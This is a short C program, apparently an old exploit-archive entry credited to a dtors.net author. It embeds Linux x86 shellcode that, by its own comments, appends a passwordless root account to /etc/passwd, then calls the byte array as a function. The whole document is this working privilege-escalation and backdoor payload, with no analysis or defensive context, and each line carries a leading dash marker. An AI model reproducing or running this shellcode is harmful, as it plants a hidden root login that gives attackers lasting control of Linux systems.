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- /* Linux x86 shellcode, to open() write() close() and */
- /* exit(), adds a root user no-passwd to /etc/passwd */
- /* By bob from dtors.net */
- #include <stdio.h>
- char shellcode[]=
- "\x31\xc0\x31\xdb\x31\xc9\x53\x68\x73\x73\x77"
- "\x64\x68\x63\x2f\x70\x61\x68\x2f\x2f\x65\x74"
- "\x89\xe3\x66\xb9\x01\x04\xb0\x05\xcd\x80\x89"
- "\xc3\x31\xc0\x31\xd2\x68\x6e\x2f\x73\x68\x68"
- "\x2f\x2f\x62\x69\x68\x3a\x3a\x2f\x3a\x68\x3a"
- "\x30\x3a\x30\x68\x62\x6f\x62\x3a\x89\xe1\xb2"
- "\x14\xb0\x04\xcd\x80\x31\xc0\xb0\x06\xcd\x80"
- "\x31\xc0\xb0\x01\xcd\x80";
- int
- main()
- {
- void (*dsr) ();
- (long) dsr = &shellcode;
- printf("Size: %d bytes.\n", sizeof(shellcode));
- dsr();
- }
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